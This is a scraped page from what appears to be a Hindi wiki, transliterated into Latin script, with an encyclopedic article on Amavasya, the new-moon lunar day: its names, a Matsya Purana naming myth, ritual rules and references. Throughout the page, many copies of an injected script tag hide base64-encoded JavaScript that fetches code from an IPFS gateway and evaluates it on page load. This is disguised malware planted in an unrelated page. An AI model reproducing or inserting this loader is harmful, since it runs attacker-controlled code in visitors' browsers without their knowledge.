अमावास्या

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
amavasya
vivaran panchaang ke anusar 'amavasya' mah ki 30vian tatha krishna paksh ki aantim tithi hai. jis tithi mean chandrama aur soory sath rahate haian, vahi 'amavasya' tithi hai.
any nam amavasi, 'sinivali', 'darsh'
disha eeshan
vishesh hindoo dharm mean pratyek mah ki amavasya tithi par koee n koee parv avashy manaya jata hai.
sanbandhit lekh chandrama, soory, mah
any janakari 'amavasya' par soory aur chandrama ka antar shoony ho jata hai. is tithi ko kray-vikray tatha samast shubh karmoan ka nishedh hai. amavasya tithi par chandrama ka aushadhiyoan mean vas rahata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

amavasya ki tithi ka hindoo dharm mean b da hi mahattv bataya gaya hai. jis tithi mean chandrama aur soory sath rahate haian, vahi 'amavasya' tithi hai. ise 'amavasi' bhi kaha jata hai. isake sath hi 'sinivali' ya 'darsh' nam bhi prapt hote haian. amavasya mah ki tisavian tithi hoti hai. krishna paksh ki pratipada ko krishna paksh prarambh hota hai tatha amavasya ka samapt hota hai. amavasya par soory aur chandrama ka antar shoony ho jata hai.

namakaran

amavasya ke namakaran hetu 'matsy puran' ke 14vean adhyay mean ek roopak katha ati hai, jisake anusar- prachin kal mean pitaroan ne 'achchhod' namak ek sarovar ka nirman kiya tha. in dev pitaroan ki ek manasi kanya thi, jisaka nam tha 'achchhoda'. achchhoda ne ek bar ek sahastr divy varshoan tak kathin tap kiya. atah use var dene ke liye pitaragan padhare. unamean se ek atishay sundar 'amavasu' namak pitar ko dekhakar 'achchhoda' un par anurakt ho gee aur amavasu se pranay yachana karane lagi. kintu amavasu isake liye taiyar nahian huye. amavasu ke dhairy ke karan us din ki tithi pitaroan ko atishay priy huee. us din krishna paksh ki panchadashi tithi thi, jo ki tabhi se 'amavasu' ke nam par 'amavasya' kahalane lagi.

tithamavasuryasyamichchhaan chakre n taan prati.
dhairyen tasy sa lokaiah amavasyeti vishruta.
pitrinaan vallabha masmattasyamakshayakarakamh..

mahattv

amavasya ke svami 'pitar' hote haian. is tithi mean chandrama ki solahavian kala jal mean pravisht ho jati hai. chandrama ka vas amavasya ke din aushadhiyoan mean rahata hai, atah jal aur aushadhiyoan mean pravisht us amrit ka grahan gay, bail, bhaians adi pashu chare evan pani ke dvara karate haian, jisase vahian amrit hamean doodh, ghi adi ke roop mean prapt hota hai aur usi ghrit ki ahuti rrishigan yajn ke madhyam se punah chandradi devataoan tak pahuanchate haian. vahi amrit phir badhakar poornima ko charam sima par pahuanchata hai; jaisa ki kathan hai-

kala shodashika ya tu apah pravishate sada.
amayaan tu sada somah aushadhiah pratipadyate..
tamoshadhigatan gavah pibantyambugatan ch yath.
tatkshiramamritan bhutva mantrapootan dvijatibhiah.
hutamagnishu yajneshu punarapyayate shashi..
dine dine kala vriddhiah paurnamasyaan tu pooryate..

mahattvapoorn tathy

  • amavasya tithi mean vanaspatiyoan mean som ka vas hone se us din bailoan ko hal mean jotane ka poornatah nishedh 'smritiyoan' mean kiya gaya hai. us din bailoan ko poore din charane ke liye chho d dena chahiye, jisase chare ke dvara amrit kala ka pan kar ve apane sharir ko pusht kar krishi ke kary mean adhik sahayog kar sakean.
  • is tithi ko kray-vikray tatha samast shubh karmoan ka nishedh hai.
  • amavasya ki disha eeshan hai.
  • is tithi par bhagavan shiv aur gauri ke sannidhay mean hone se us din shivapoojan kiya ja sakata hai.
  • amavasya tithi ketu ki janm tithi hai.
  • is tithi mean pitaroan ke uddeshy se kiya gaya danadi akshay phaladayak hota hai.
  • amavasya panchaang ke anusar mah ki 30vian tithi tatha krishna paksh ki aantim tithi hai.
  • is din chandrama akash mean dikhaee nahian deta.
  • pratyek mah ki amavasya ko koee n koee parv avashy manaya jata haian.
  • 'varshakriyakaumudi' (9-10) mean mahabharat evan puranoan se uddharan haian.[1]
  • somavar, mangalavar ya brihaspativar ke din tatha anuradha, vishakha evan svati nakshatroan mean p dane vali amavasya vishesh roop se pavitr mani jati hai.[2]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. hemadri (kal par chaturvarg-chintamani, pri0 311-315; 643-44), kalavivek (343-44), tithitattv (163), gobhil-grihy (1|5|5) ka bhashy, purusharth-chintamani (314-345)
  2. hemadri vratakhand (2, 246-257), madhavakrit kalanirnay (309) evan vratark (334-356

any sanbandhit liank

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>